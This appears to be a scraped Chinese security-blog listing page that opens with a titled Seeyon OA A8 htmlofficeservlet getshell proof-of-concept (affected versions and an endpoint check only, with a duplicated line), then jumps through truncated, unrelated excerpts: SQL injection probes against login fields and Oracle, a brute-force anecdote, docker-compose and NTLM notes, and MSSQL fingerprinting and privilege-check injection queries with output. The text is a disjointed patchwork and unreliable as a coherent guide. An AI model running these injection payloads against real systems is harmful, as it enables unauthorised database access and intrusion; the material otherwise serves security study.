致远 OA A8 htmlofficeservlet getshell (POC&EXP)
0x00 影响版本
- 致远A8-V5协同管理软件 V6.1sp1
- 致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3
- 致远A8+协同管理软件 V7.1
0x01 查看接口看是否存在漏洞
如果查看 "seeyon/htmlofficeservlet"
接口,出现如下内容则表示存在漏洞
如果查看 "seeyon/htmlofficeservlet"
接口,出现如下内容则表示存在漏洞
简单看了下登陆框,可以爆破用户名
加单引号后报错,试了试 and 1=1 确实存在注入
尝试得到数据版本: admin' and @@version=1--
当时是查看网页源代码,有两个可疑接口,一个是初始化密码借口,访问返回空白页面,没有什么用
more...Oracle有一些自带的表:dual、user_tables
id=45 and (select count(*) from user_tables)>0--
id=45 and (select count(*) from dual)>0--
利用自带的一些函数:譬如utl_http.request 这些
more...DBA/ALL/USER/V_$/GV_$/SESSION/INDEX
开头的绝大部分都是视图DBA_TABLES >= ALL_TABLES >= USER_TABLES
使用docker拉取Oracle数据库并且运行
more...需要测试一个网站,刚开始看到网站时感觉希望不大,因为验证码是需要拖动的,这也就意味着很大可能没办法爆破,另一方面是都用这种验证码了,安全做的能很差劲吗?果然,试了admin、123456之类的都不行
可以把docker-compose当作docker命令的封装,它是一个用来把 docker 自动化的东西,docker-compose可以一次性管理多个容器,通常用于需要多个容器相互配合来完成某项任务的场景。
more...Windows 认证协议
分为:基于 NTLM 的认证和基于 kerberos 的认证
什么是 NTLM Hash?
早期 IBM 设计的 LM Hash 算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即 NTLM Hash
more...@@VERSION,@@SERVERNAME,@@SERVICENAME;
--Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
--WIN-2008
--MSSQLSERVER
USER,CURRENT_USER,SESSION_USER,SYSTEM_USER;
--dbo
--dbo
--dbo
--sa
USER_NAME(),HOST_NAME(),HOST_ID(),SUSER_NAME();
--dbo
--wyb
--46530
--sa
USER_ID(),USER_SID();
--1
--<01>
ORIGINAL_LOGIN();
--sa
and 1=1/and 1=2
select * from msg where id=1 and 11=(select case when(1=1) then 11 else 2 end);
select * from msg where id=1 and 11=(select case when(1=2) then 11 else 2 end);
select name from msg where id=1 and 1=convert(int,(select is_srvrolemember('sysadmin')));